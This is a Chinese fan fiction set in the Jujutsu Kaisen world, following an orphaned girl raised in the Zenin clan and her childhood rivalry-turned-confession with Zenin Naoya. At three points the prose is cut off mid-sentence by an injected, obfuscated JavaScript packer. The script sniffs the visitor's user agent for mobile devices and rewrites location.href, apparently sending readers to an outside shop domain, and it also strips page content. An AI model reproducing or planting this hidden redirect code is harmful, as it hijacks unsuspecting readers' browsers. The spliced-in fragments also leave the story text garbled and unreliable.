《[咒回]男朋友不听话怎么办打一顿不就好了》 1. 告白不该是这样的! 禅院直哉用肩膀撞开房门的时候,你正在抽屉里找东西。 你当然听到他的脚步声了,也知道他在朝你走过来,毕竟他特别故意地把木屐踏得啪啪响,这声音响亮得不得了,听起来真的很像你以前扇别人耳光——哦不对,更正一下——和你帮别人打掉脸上蚊子的动静差不多。 可就算听到了如此响亮的动静,你依然没有回头,专注在自己手头的大事上,直到他的影子落进你的抽屉里,你才从忙碌之中抽空看了他一眼。 “怎么了吗,直哉?” 你平平无奇毫无热情好像还有点嫌他扰人的询问方式让直哉相当不满。他本来也没那么乐意来找你。要不是因为你的假期马上就要结束,下个月就该回东京继续当咒术高专二年级好学生了,他肯定不会下定决心选在今天来找你的。 心里不情不愿,表情当然也满不乐意,直哉拧着脸,在你面前站定,双臂环抱在了胸前,正准备开口,却发现你的注意力直到现在都还没有落在他的身上。这怎么能行?干脆先把最紧要的话语放在一边,没好气地冲你摆出臭脸,“喂,五十里,你在干嘛?” 直哉对非长辈的称呼一向都是“某某君”,但这么喊别人不全是礼节在作祟,至少你从没听他这么喊你——他从不叫你“五十里君”或者“鸣神君”,只干巴巴丢出一声“五十里”,过分简单。 嗯,可能这是只属于你的独一无二的称谓吧,至少你一直都是这么认为的,小时候的你一下子就把这点不同寻常的区别当成了特别的存在。 当然,就算被特别地称呼了,你依旧不打算抬头,难怪又连着被他喊了三回。 “你耳朵出问题了?” “多谢关心,我的耳朵没问题,只是在在找指甲钳而已。看。” 你冲直哉伸出中指——不是故意的,纯粹巧合罢了,偏偏是你右手最中间的这片指甲不小心裂开,成了现在这副惨兮兮的样子。 如果是平时,直哉绝对会觉得你的动作意义明确,就是挑衅没错,一定是为了惹他生气才做出来的,肯定也会因此对你说点阴阳怪气的话,顺便还要对你的疼痛幸灾乐祸一番吧。 但今天的他显得心不在焉,只瞄了一眼你裂开的指甲,废话一句也没说,立刻别开了目光,不耐烦地一直用脚尖点着地板,仿佛耐心早已耗尽,明明他走进你的房间才不到一分钟,如此短暂的时间完全不足以构成厌烦感增生的诱因。 也就是说,他的焦躁源于其他原因——但你不关心。 你还得找指甲钳呢。 “喂,和你说个事。” 他用手指戳你,语气干巴巴,恶心的表情怎么看都像是吃下了一块抹布,声音都被堵得尖细。 “我要说的是,我喜欢你。呕……” 赶紧把反胃的声音藏起来。都表现到这一步了,怎么能因为不受控的生理.反应功亏一篑?禅院直哉果断换上故作帅气的表情,把漂亮的狐狸眼眯成鬼迷日眼,压低嗓音让声线显得足够有男人味。 “五十里,当我的女人吧。” 沉默,短暂的沉默。你一言不发,却忍不住扬起嘴角。 终于找到指甲钳了好耶! 总算能剪掉裂开的指甲啦! 咔哒咔哒咔哒。 完全无视了直哉的深情(演的)面孔,你认真修剪着指甲,不忘从指甲钳自带的搓条把边缘打磨平整。你可不希望指甲的毛刺勾住你的衣服,会很难受的。而直哉的告白就像碎指甲那样落在了垃圾桶里,估计从一开始就没能吸引到你的注意力吧。 ……真过分!五十里鸣神你个没礼貌的家伙! 就算知道你的性格有多么自我,如此明晃晃的忽视还是太惹人讨厌了。他当即就演不下去了,气急败坏到几乎要跳起来,在你耳边嚷嚷:,“五十里,你到底有没有在听我说话!” “我在听啊。” 你真的有在听。 把指甲钳收好,抽屉也合上,你向直哉伸出双手,在他恼怒地准备离开之前,猝不及防地把他抱住。 “我完全没问题呀。”你蹭蹭他在这个夏天刚染的金发,一整个挂在他的身上,“既然直哉喜欢我的话,我也会喜欢直哉哦!” “……?” 不对! 瞳孔地震,大脑宕机。根本顾不上你的手臂快要勒到他难以喘息的现实情况了,过分庞大的眩晕感已经彻底砸进了禅院直哉的脑袋里,他完全分不清这究竟是挫败感还是恐惧感带来的副产品了。 ……不对不对不对!事情的走向不该是这样的! 在他的预期之中,被他禅院大少爷衷心了表白的你,肯定得下意识摆出诚惶诚恐的模样,唯唯诺诺表示从小被禅院家收留的自己太卑微了,绝对不可以和家主继任者有非同小可的关系——因此你将立刻收拾包袱走人从此再也不出现在禅院家的地界里。 你也可以说,很抱歉少爷我对您从来就没有过非分之想,或者类似这样的话——因此为了避免落人口实败坏他的名声而立刻就会收拾包袱走人。 除此之外,你还能其实你心有所属喜欢的对象,正是去年禅院家与东京高专联合行动的时候和你交谈甚密的那个金发同级生——你要是真敢这么说,直哉一定会很不爽,但只要你接着说出你立刻就会收拾包袱走人,他依旧会心满意足。 也就是说,禅院直哉的目的很简单。他要把你赶走,一点也不希望你留在这里。 今天的他所怀有的这番想法,正是十年前和你第一次见面的时候,他下意识冒出来的冲动。 说起来,那时候你才六岁,无知地被禅院家的家主直毘人带回了家。 你不太清楚自己为什么会来这里,只是有人告诉你,你在研究所任职的父母都在爆炸事故去世了,你则是这场事故中唯一的幸存者,被烧焦得只剩下三厘米的难看发型就是你侥幸存活的证明。出于这个原因,你的抚养权移交到了禅院家,所以你才来到了位于京都的宅邸。 就算把话说到这个份上,你还是完全不明白其中的因果关系。这份茫然地困惑明显比父母去世的悲报更让你觉得在意。 “难道我是禅院家的小孩吗?”你追问,“所以我要待在禅院家? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199024|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 这可能是最靠谱的可能性了,也是你六岁小脑瓜里能想到的唯一可能性,虽然你自己都觉得不靠谱。 毕竟,你叫五十里鸣神,名字里的任何一部分都和禅院毫无关系。 “不。你不是。”直毘人拍拍你的脑袋,像在拍西瓜,凑近你的耳边,很大声地说“但你可以把禅院当做你的家,我也希望你以后能够替这个家出力。我有预感,你会是优秀的咒术师。” 你的听力在爆炸事故中小小受损,还要再等上几天,耳鸣声才会消失。直毘人的话语穿透了神经的鸣叫,顺利落进你的脑袋中。你听明白了,但也没有完全明白,比如他口中的咒术师是什么,你完全不知道。 就算是带着茫然,也还是走进禅院家,宅邸黑漆漆阴森森,和你以前住的那间镶满落地玻璃的现代风别墅截然不同,阳光怎么看都难以透入每个角落。 迈过大门之后,直毘人就离开了,由仆人领着你继续往更深处步入。你惊讶于这地方如此宽阔,怎么都望不到尽头,理所应当般住着不少人。迎面走来几个和你差不多年纪的男孩子,为首的正是禅院直哉——这名字你在几周之后才知道。 而你的名字,直哉在见到你的时候就有数了。他只消努一努嘴,问问旁边稍年长一点的小跟班,自然就能知道你是早先在咒灵袭击事件中活下来的倒霉蛋五十里鸣神,未来姑且会作为禅院家势力下的潜力者进行培养。最重视术式多样性的禅院家,一贯爱用这种方式吸纳人才,人人都习惯了宅邸里突然冒出的新面孔。 习惯归习惯,禅院直哉第一眼就没有对你冒出好感,一部分原因是你受伤肿起的脸颊还没消下去,看起来像个奇形怪状的弱鸡。而且你根本不和他打招呼,也不对他说任何话。你甚至还东张西望,盯着宅邸的每一个角落困惑地看,视线差不多完全没有落在身为家主嫡子的他的身上,让他那颗还没有完全膨胀起来、但存在感已经相当强烈的自负心大受打击。 可恶!还没人对他做过这种事呢! 直哉藏不住气恼的表情,整张脸瞬间就拧起来了,要不是接下来还有事要做,他绝对会冲到你的面前,对你进行一些言语攻击。 既然赶时间,就把前半段省略掉,只对你输出言语攻击好了! 而你完全没听到。 已经说过了嘛,你的听力受损,耳鸣严重,直哉的气话全都被盖过去了。你只能看到他从头到尾都不高兴的面孔,还有经过身旁时动个不停的嘴唇。应该是在问好吧?你想。所以你扬起了笑容,冲他很灿烂地笑了一下。 不知道为什么,他看起来好惊讶。或者说是更加生气了。 你无法理解,但其实他的心态很简单,就是纯粹的一种拳打棉花的无力感在作祟罢了。而无力感是决不能出现在天之骄子的身上的。 直哉瞪着你丑巴巴的面孔,已经牙痒痒了,愤愤地想,像你五十里鸣神这样的家伙,根本不配留在禅院家。总有一天要让你滚出去。 他并没有意识到,同样的念头在未来还会反复地冒出来很多次——意思是,你压根没能如他所愿。 2. 认知错误了啊啊啊 你来到了禅院家,但在这个家里要做些什么事情,你完全没有概念。 以前在自己家——五十里家——你只要每天心怀感激地吃光爸爸给你准备的超级营养(可惜绝对和美味不沾边)的三餐、接受妈妈教授给你的知识、在晴天去庭院里晒太阳玩耍就可以了。但在阳光都很难透进来的禅院家大宅,总觉得以前能做的事情,现在全都做不了。 你不是没有意识到父母死去的事实,也并非对未来毫无概念……该怎么说呢,你只是有点迷茫罢了。 在你最茫然的时候,有年长的姐姐来向你传达家主的指令,说你之后会被安排到家中的家塾,和其他人一样,跟着那些比你还小两三岁的小朋友们一起,学习如何成为咒术师。这是最合理的安排了,谁你完全没有接触过任何与咒术师相关的知识。 当然了,这安排也不是说履行就能开始履行的,考虑到你的脸还肿得像是被一窝蜂蜜蛰过,骨裂的手臂也还没完全愈合,家主特别允许你在身体状况改善之后再去家塾。 也就是说,你你的无聊日子虽然还得继续,但至少能有个指望了。 没有玩具和书本,也不想坐着发呆。一坐下就忍不住开始对比这里和原本的家多么不同,这可不是什么有趣的事情。 纯粹是为了打发时间,你开始到处乱逛,试着用脚丈量禅院家的土地。 禅院家人多,但不是谁都在意你漫无目的的轨迹。禅院们的眼睛都长在头顶上,可不轻易向平庸人士投去。 话虽如此,欺负公认的“废物”时,他们倒是会紧紧盯着人家了。 差不多每三次走到家里没人的角落,你就会遭遇到禅院家的霸凌现场。实施暴力行为的主角一定是比你年长一些的小男孩或是年长很多的青少年,他们的手段出奇得一致,永远是先来一顿拳打脚踢加大喊大叫,嘴里念叨的也八成都是“你个菜鸡别用这种混球的眼神看我!”“知道吗你就该尊敬我爱戴我才对!”之类的话。 你躲在角落里偷看,可就算看上无数遍,小小的脑袋还是搞不明白这番言论的深意。 父母一贯对你的教育是,你要爱世上的一切人和物,这样对方也会给予如同你付出的同样的爱,世间的一切就像你给出的爱意那样循环流转,付出的最后一定会落回到你的手中。如果有谁不爱你,你也应当积极矫正对方的认知,让爱的循环重新流转起来才行。 你很认同父母的理论,唯独不明白什么叫做“矫正对方的认知”。你觉得你认识的所有人都没有不喜欢你——无论是同一屋檐下的父母,还是常常能见到的妈妈工作的研究所的大家,看到你的时候都是笑眯眯的,这肯定不是不喜欢的证明呀。所以你也从来都没有询问过什么才是矫正认知的方式。 但是现在,看着缩在地上不停说着“我最尊敬你了我最喜欢你”的挨打的家伙,你茅塞顿开。 这就是矫正认知的办法吧! 你学到了! 比较可惜的是,这个珍贵的(是吗?)人生道理,在你当晚睡觉的时候,就跟着梦里的瀑布一起哗啦啦地流走了,完全没有在脑海里留下一丁点印象。再次想起来的时候,你已经开始在家塾上课了。 仔细想想,学习其实也无聊。最开始是很让人困倦的理论,你真怀疑那些比你小的孩子们是怎么听懂的——这么说的意思可不是在暗示你没听懂哦! 理论学到一半,就是咒力的实操了。你貌似在这方面做得还算不错,难怪不到一年就被转到更高阶的课堂了。 好巧,禅院直哉也在那里。 他完全没认出你。一大部分原因是他还没见过你消肿之后的脸,完全没有把你和那个笑得丑巴巴还不搭理他的没礼貌臭小孩联系在一起;另外一小部分原因则是他完全忘记了初次见面时对你无比不爽的那份情绪。 话虽如此,他还是不喜欢你。 禅院家每个人的等级地位早就被划分成了森严的金字塔,划分标准繁杂但死板,性别一定要优先考虑,术式与实力次之,血脉也不容小觑。在这座宅邸里出生的禅院直哉早就把这一套等级论嚼碎吃透,知道你这种外部吸纳的连养子都算不上的孤儿,只是金字塔的垫脚石而已,就算未来厉害得不行,也爬不了多高。况且还性别女,女人可当不好咒术师。如此卑微的人生注脚,光是想想他都要替你觉得可怜了。 不管怎么看,你似乎都有着百分百会被他欺负的理由,但当时的他却没有把乱七八糟的负面情绪丢给你。没什么特别的原因,纯粹是当时的他也还在挣扎着往金字塔的更高处攀爬而已。 家主的嫡子,高贵的Y染色体继承者,他简直理所应当会成为下一任家主,也难怪人人都说,只要他别像甚直的儿子那样一丁点咒力都没有,绝对是直毘人毋庸置疑的继任者。 吹捧和赞美都会变成理所当然的未来,他的全部自信都构筑在这个基础上,再加上一切向他涌来的爱戴,直哉知道自己无所不能。 但最近,这种无所不能的感觉似乎有些不妙。 他依然没有觉醒术式。 按说到了六岁就该展露术式,他也理所应当地觉得自己该在这一年拆开名为术式的盲盒。 问题是,盲盒怎么还没配送到他的手里。 眼看着距离七岁生日就只差一个月了,尽管家里不是没有出现过八九岁才觉醒术式的咒术师,但那种人统统没成大器,晚成的道理不适用在咒术师的身上。况且直哉也不想显得仿佛自己落于人后似的。 他很急躁,可惜急也没用,比起期待实现,更先溜走的居然是大家的尊敬和爱意。他明明还没有从金字塔滑下去,大家就已经把目光转向站得更高的家伙了——比他年长四岁、名叫禅院望的他的表哥。 论血统,禅院望肯定比不上直哉,可他早早就拥有了术式,是他们这一辈里最早能够和家里的大人们一起去执行祓除任务的,虽然去了也只是在观摩而已,没有真正付出什么努力,最多就是放了个帐,但也足够让人敬仰了。 有的人就这么“抛弃”了直哉,把马屁和殷勤丢给禅院望,顺便再回踩直哉一脚,在一天的训练结束之后故意截住他的路,嘴上依然称呼他为家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199025|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主继承人,但却以讥讽的口吻。 一样的称呼,换个语调说出口,意味瞬间倒置,还非挑了禅院望在场的时候这么说,恶意简直喷涌而出。直哉真的恶心得要吐了。 “真无聊。既定事实还要重复吗?”直哉学着电视剧里的反派冷笑,佯装自己一点都不在意,“这么担心我当不上家主?明明你们这辈子都只有给家主鞍前马后的资格。没错,我说的就是你们所有人。” 他对面前的所有人说。而走在最后面落下了他们一大截的你,好像完全没有被纳入这句“你们所有人”的扫射范围。 可惜你很快就要被波及到了。 “我实在不觉得没有术式的人能够当上家主。” 禅院望眯起眼,语调轻柔且平缓,显然是摆出一副端庄文雅的大人模样。 这幅做派,在长辈们看来一定会像偷穿大人衣服那样奇怪,但唬唬你们这种小萝卜头们肯定足够了。 “实力可以超越血脉,我也不喜欢和比我劣等的家伙走在一起,直哉,你也是这么想的吧?所以你就……和五十里一起玩吧。正好,你们都还没有展露术式嘛。” 你茫然地抬起头——你只知道自己被点名了,但他们在说什么,你完全没在听。你从下课之后就在发呆,思考今天的晚饭会是什么。你想吃汉堡肉。以前在家的时候很常吃,自从来了禅院家却一次都没尝过,每次怀念汉堡肉的时候,你也会很难得地想念一下妈妈的存在。 暂且先把汉堡肉从脑海里赶出去。你依旧沉在后知后觉的困惑之中,完全不知道大家在讨论什么,但确实注意到其他人的视线全都落在你的身上了,其中还包括直哉愤愤不平的带着仇恨的目光。 他恨禅院望的嚣张和你的无能,尤其是还要和你排排坐,真是恨得咬牙。无论如何,他会证明自己至少没有落到你这个等级。 直哉藏在宽松衣袖下的拳头早已握紧,大概再过两秒就会呼到你的脸上,你却完全没有留意到。你光顾着留意禅院望和他的小跟班们了。 你朝他们走过去。 “请问。” 你的父母把你教导得很好,让你无论在什么时候、说出怎样的话语时,都能表现得出一定的礼貌。 “你们刚才说了什么?我觉得你们刚才的笑声,听起来不是很友善。” 你的礼貌换来更大的嘲笑。禅院望蹲下来看着你,明明他也只比你高了十几厘米而已,根本用不着这么“体贴”的。你想,从这个角度看过去,完全就是他在单方面仰望你而已。 他拍拍你的脑袋,很不尊重人的态度。 “我刚才说,你和直哉会很玩得来。因为你们是还没觉醒术式的讨厌的废物哦,和我们不一样,所以不能和我们玩在一起。” “哦——”你似乎明白了,“意思是,你不喜欢我,对吗?” “没错。原来你也没那么笨嘛。” 你彻底明白了。 “可是,我觉得这不好。” 你说。 同时,你的上勾拳完美击中了禅院望的下巴。 3. 朋友或者跟班皆可 你进行了挥拳的动作,在还没有接受系统的体术指导的情况下打出了漂亮的上勾拳,冲击力化作无形的手,瞬间就打碎了禅院望的轻蔑表情。他的脑袋一下子被提了起来,曲起的双腿也在同一时刻被捋直了。有整整三秒钟,他处在一种双足离地的状态,好不容易才被重力重新召唤。 “世界上的一切都是值得被爱的,我会试着爱你,我觉得你也应该这样对待我。” 在他的双足落地之前,你已经一脚把他踹进灌木丛里了。 “所以,你该说,我会喜欢你。快说。” 你把手掌拍在他的脸颊上,特别清脆的一声。禅院望肺里的空气都要被你打出来了。 ……怎么会这样! 在喘上这口气之前,禅院望已经下意识地朝你挥出了拳头。这绝对是他的全力一拳——附加了咒力的加强拳头。 除了在道场的范围之内,家里禁止用术式斗殴,违反者要被狠狠处罚,往拳头上添上咒力增幅是他能做出的最大限度强化,但保准能把你的脑袋砸到变形。先动手的可是你,就算事后要被人说三道四,他也有百分百的信心能把自己摘干净。 这么想着,他都想要和你说一声“永别”了。 还好没说。你轻而易举地躲过了这一拳,反手又是一巴掌扇过去。 这下左右脸上的淤青可以对撑了。 “你快说啊。想要我继续矫正你的行为吗?” 你有点没耐心了。 禅院望的脸和他的固执心一起被打裂了。 算不上唯唯诺诺,但一定不情不愿,他说出了你想听的“我不讨厌你”,让你心满意足——果然拳头的矫正方式是正确的!爸爸妈妈,你们的孩子无师自通了! 在你向天上的亡父亡母满怀感激地传达自己的成就时,禅院望的小簇拥们赶紧架着他离(逃)开(走)了。 再不逃绝对要被你打了好吗! 你倒是无所谓眼前顺便变得过分空旷,只专心地用衣袖蹭掉指节上的血,感觉肚子更饿了。晚上一定要吃汉堡肉才行啊,只有油润结实鲜美且香的牛肉饼才能让你对这不有趣还挺累人的一天完完全全地开心起来。 你惦记着汉堡肉往前走,突然听到身后有人在叫你。原来是直哉。 准确地说,他只是对你“喂”了一声,抱着手臂看你,以一种窃喜中混杂心满意足的傲气神态看着你。 当然了,直哉脸上如此复杂的表情,你差不多完全没看懂,只觉得他笑起来的样子更加像是狐狸了。 你停住脚步。“怎么了吗?” 直哉没说话。他在等你走过来,然后才打算出声。 你也没说话。你在等他走过来,或者就这么保持着还挺远的距离接着说下去也没关系。 很可能是就是因为这种“觉得对方会先做点什么”的心态,让你们在接下来的一分钟之中都处在一种相当微妙的僵持状态。最后还是直哉先忍不住——毕竟他得意窃喜满足的表情都被这份沉默的尴尬磨成纯粹的咬牙切齿了——命令你赶紧过来。 “哦。好。” 你走过去。这下直哉少爷总算是乐意和你说话了。 “喂,你叫什么名字来着?”他问你。 直哉其实知道你的名字,非要特地问一嘴必然有他的深意——来自禅院少爷的亲自询问可是一种仪式,是认同你的必要步骤哟! 少爷心态你一点也不懂,只觉得他记忆力真的不行。 刚才禅院望不是已经说过你的名字了嘛,他没有认真听吗?看来直哉这人挺不专心呢。 想到妈妈说过,每个人类都存在缺点,比起挑刺更重要的谅解,于是你瞬间不觉得直哉的耳背是什么问题了。“我叫五十里鸣神。”你告诉他。 “是嘛。行。” 直哉的下巴又往上抬了两寸。在此之前,他已经把你上下打量过一遍了,扫过你巧克力色的短发,视线最后落在你泛着黄绿色泽的浑圆双眸上,心想,你也不是什么彻头彻尾的废物嘛。 而且——直哉接着想——你还为了他揍扁了烦人的禅院望(实际上并不是为了他),看来你非常尊重作为家主继承人的他把(根本没有这种事)。 虽说家里的所有人都是家主的垫脚石,但老爹私底下也说过类似于“深居高位的人必须要有最忠心的手下”之类的话。多少有点冲动作祟,直哉决定让你成为这个角色。 于是,他的下巴不知不觉扬得更高,对你说:“你今天做得很好,以后就跟着我一起玩吧。” “嗯?……哦。” 你眨眨眼,一下子就明白了。 原来直哉是想和你做朋友呀! 必须事先说明,你没什么朋友。 准确地说,你压根就没有朋友。 在来到禅院家之前,你和爸爸妈妈住在关东。轻井泽的郊区宜居,离妈妈就职的研究所也近,却没有任何和你同龄的孩子,幼儿园也远在车程半小时开外的地方,可能正是出于这个原因,你才从来没有去幼儿园读过书。虽然你认识了几个妈妈研究所里的同事,但他们可不是你的朋友。 爸爸妈妈不那么在意、也不担心你的社交需求,你同样没想过自己该拥有朋友,但现在你确实有了人生中的朋友。他叫禅院直哉。 可问题是,直哉本人一点也不知道你们成为朋友了——他压根没把你当朋友啊! 没错,现在你确实是少数几个会跟他一起走在去往家塾路上的同龄人。你们在教室里的课桌的位置恰好就在一前一后,每当他对指导老师的难看发型的说三道四的时候,你还会稍稍搭腔,然后在谁都看不见的时候咯咯笑;偶尔你们也去庭院的池子里钓鱼,把钓上来的鲤鱼重新丢回池子里,然后再把它们钓上来,然后再丢回去,你们的戏弄对这些过于肥硕的观赏动物来说简直是无限地狱没错;他还会把他的GAMEBOY给你玩,或者你们一起跑去电玩城玩魂斗罗。 和女孩子一起玩绝对很逊,哪怕你们会玩得很开心,那也是很逊,很清楚这一点的直哉更加不会真的把你当做朋友。他对你的定义一直都是“作为家主继承人的我的忠实手下预备役”。 所以说,忠实的手下怎么能在打魂斗罗的时候迎来十连胜呢?绝对不行! 哪怕那个惨兮兮倒地不起的只是被操控的游戏角色而非真正的禅院直哉,他也觉得好不服气。 “你该让我才对啊!”他嚷嚷起来,怎么看都透着一点输不起的气急败坏,“你和我哪能一样!” 他可是尊贵的禅院家嫡子,从血脉来看就已经站在这个家的顶点了,谁都该让着他才对——你也一样! “哦——” 你恍然大悟。 直哉说得对,你们是不一样的。 你是游戏高手,而他显然是个菜鸡,你确实应该稍稍让他一点才行,正如负责战斗训练的天音老师从来不全力和你们对战那样,适度放水才是待人之道吧。 你觉得你又懂了。 当然又揣摩错了。 无论如何,你确实照做了。新一局开始,“battle start”的字样刚一消失,你的双手就立刻离开了操作杆,直哉操纵的角色随即冲上来,三两下就拿下了胜利。 终于赢了。这是直哉今天头一回打赢你,真是可喜可贺。 你本打算鼓掌表扬表扬表扬他的,就像天音老师平时常做的那样——虽然你完全不知道天音老师上个星期被辞退的原因就是因为他为人太温和友好了,禅院家可不喜欢这种性格。 还好你没有这么做,毕竟直哉已经投来了相当不爽的目光。 他的心情相当复杂。 一方面,他确实很享受这种单方面碾压式的胜利。可问题是,这种爽快完全来自于胜之不武,因为你连演都懒得演,一下子就开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199026|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摆烂了,真让人不爽。 此刻他的心情差不多和与你初次见面时差不多,一拳砸在棉花上,力气全被卸光了,你还会笑眯眯地看他,显得他的气恼仿佛只是无中生有,更让人不爽了。 算了,谅在你是他的最忠诚手下预备役(他册封的),他也该吧表现出家主预备役的大度才行,只在嚷嚷两声之后就不多说了,让你继续和他对战。 “这次你想赢吗,还是想输?”你问他。 这种问法肯定会让他不高兴,也难怪他瞪了你一眼,动了动唇,不过什么也说出口,自顾自按下了开始。 然后又被你打败了。连续三次。 “哼。没意思。还是回家吧!” 直哉重重地哼声,说着违心的话,也不管机子里还剩好多硬币,直接走了。你赶紧跟上。 你难得的出门机会可不是因为你能随时随地出门,拥有此等殊荣的可是直哉。他相当于你的门钥匙,门钥匙当然要紧紧地拿在手里才行。你可没忘记爸爸以前忘带钥匙,害得你们要在家门口坐三小时等妈妈回来的伤心事。 你跟得太紧了,让直哉很不爽。他又开始嚷嚷起“女人只能走在男人后方三步远”的论调了——这话你听他说过好几次。 差不多每次当你的脚步快要超过他的时候,他就得叫起来。这时候,只要你稍稍放慢速度,他那不尖锐的戾气就迅速会收起来,完全不会回头确认你是不是真的离他三步远。 “哦。” 你嘴上应着,脚步却没有丝毫放缓。 今天直哉对你的态度不太好,没有给予你爱的家伙,你才不要同等地对待他。 从电玩城走到停车场,区区一百米的路,直哉绝对瞥了你一百次,留意着你的脚步是否会在不经意之间超过他的。 如果这种事当真发生,他绝对会愤愤地跳起来。还好没有发生。 不管怎么说,瞥了一百次的小动作绝对是再真实不过了。最初还能感觉到他在努力忍耐,到了路途中段,他简直就是在瞪你了,而你完全不知道这表情意味着什么,还问他是不是有事。 “当然有事啊。”他的面孔都要气裂了,“给我到后面去。我不是说过了吗?” “嗯,是的。但我觉得,要是走在你的后面,你就听不到我说话了。而且我也喜欢和别人并排走。” 直哉拧着脸,“我不喜欢。而且你刚才又没有和我说话,我们根本没聊天。” “那我们现在聊天吧?聊什么呢,汉堡肉?” 直哉叹气。 虽然他偶尔也觉得和你一起玩算得上开心,可他也必须不带偏见地说,他不那么喜欢你的一部分,就是你偶尔会很诡异地表现出特别不识相兼厚脸皮的一面。 正如现在。 直哉才不想讨论汉堡肉。他又不喜欢汉堡肉,而且你的脚步马上就要超过他了,烦人。他默默加快了速度。 “不如聊聊你妈为什么没教过你走路的礼仪?”他故意说,“说错了,估计你也没爸妈吧。” “有哦,不过他们去世了。” 直哉的脚步顿了顿。不好,这下真的要被超过了。他赶紧重新迈步,不可思议地看着你。 别误会了,他可没有冒出那种说错话的愧疚感,从头到尾都没有冒出过不好意思。他只是纯粹的惊讶,惊讶于你在说起去世爸妈的语调和说到汉堡肉的时候一样,平平淡淡甚至能听出心情很好。 “爸妈死了,你都不难过的吗?”他忍不住问你。 你摸摸鼻尖,“还好。没什么难过的。” “冷血动物。” “是说我像蛇一样,是吗?”你不好意思地挠挠头,忍不住笑起来,“多谢夸奖。” 直哉低声冷笑,“不好意思,完全没有这种意思。” 该感谢他当时还没有进化为邪恶狐狸,否则他那天很可能把你丢在回家的路上。 4. 从发梢到牙齿 一起出门去电玩城玩,是距离直哉七岁生日的前一周发生的事情。短短的两天之后,他便如愿以偿地觉醒术式,顺利在一脚踏进庸才之前摆脱了所有人的忧虑。 在此之上,更值得庆幸的是,他继承了家主的投射咒法。 盲盒终于被打开了,尽管没有抽中隐藏款大奖十种影法术,不过能和老爹直毘人保持一致,也算不赖——这不是更证明他值得踏上和父亲一样的领导者道路了嘛! 家主继承人的地位在这一刻瞬间变得稳固,所有人看他的目光都不一样了,比往日还要更加恭敬,仿佛象征一家之首的羽织已经披在了他的身上。在这一年的生日,他收获了比过去更多的祝福和赞美,礼物摞成小山,落井下石的家伙们统统都匍匐着回来了。真可笑。 直哉满意他们点头哈腰的样子。他的视线扫过周围,却没看到那个很可能不对他点头哈腰的人——你没有参加直哉的生日宴。 那天正好是你的定期体检,繁杂的检验项目会持续一整天,非要把你的每根发丝和每个脚趾都看一遍才会罢休,好在你已经习惯了。 从有记忆以来,这样的体检就没断过。小一点的时候,每三个月一次,过了五岁之后变成半年一次。爸爸妈妈说,体检是为了你好,是你才拥有的特权。你还以为来到禅院家之后就不会再有人给你体检了,没想到这差事还是要继续。 不过,你觉得给你做检查的医生不一样了,尽管他们包裹在白色塑料的防护服里,只能看到被护目镜挡住的眼睛,但你就是有这种感觉。 除了医生们,禅院家主直毘人也在场。他看起来一副不甚关心的样子,瘫在椅子上喝酒,完全不朝你或是医生的方向看,只是盯着门外,肯定也没有在为了缺席儿子的生气而沮丧。家主可不会有这种多余的情感。 你举起手,张开嘴,闭眼往前走三米,重复着站在房间角落的医生说出的语句,到此为止算是完成了全部的行动指标。接下来还要做心理测试和智商测试,毛茸茸的筛子会绕着你的口腔转上三圈,裹满你的DNA之后才能装进试管里。血也抽了三管,医生飞快地抽出采血针,把酒精棉丢到你的针眼上,让你自己按住。 你肯定意识不到,他一点也不想碰到你的体.液。 到了傍晚,该检查的项目才差不多查完。你磨磨蹭蹭穿上衣服,走出遮挡的屏风,听到医生在和直毘人说话。 “就目前的检查状态来说,她的情况和一般的七岁小孩一致,暂且可以放心。当然了,如果其他项目检测出了任何问题,我们会及时告知。” 直毘人“嗯”了一声,看起来不那么关心的样子,但没有错过医生的任何一句话。 包括医生接下来说的:“关于她在术式和咒力方面的表现,如有任何异常,请及时告知我们。” “我心里有数。既然决定把她安置在禅院家,我就已经做好准备了。叫他们不用担心。” “……是。” 大人的话,小孩肯定不明白。你的茫然名正言顺。 你加快脚步,和直毘人一起送医生出去。等医生们的车开走了,他忽然拍拍你的脑袋,把酒壶放到你的头顶上,你赶紧用手扶住,不解地看他。 直毘人太高了,你又太矮,想要与他对上视线,就只能仰起头。脑袋一抬,头顶上的酒壶一下子歪过去了,撒了几滴酒出来,你匆忙把脑袋放回原位。 “抱歉,直毘人大人。” 直毘人笑起来,一点也没生气。 “健康小孩。”他抽走酒壶,拿你开玩笑,“是想喝酒吗?” “小孩子不能喝酒,直毘人大人。” “确实。” 他说着,又开始拍你的脑袋了。 “亏他们还说你会是个危险的存在呢,看起来就是正常乖小孩嘛。危险?完全没感觉到。那群家伙就是在唬我。” 他这句话像是自言自语,说得也轻,你只是侥幸听到了只言片语。 就算只是只言片语你也不懂,也可能正是因为话语不完整,才害得你无法理解。 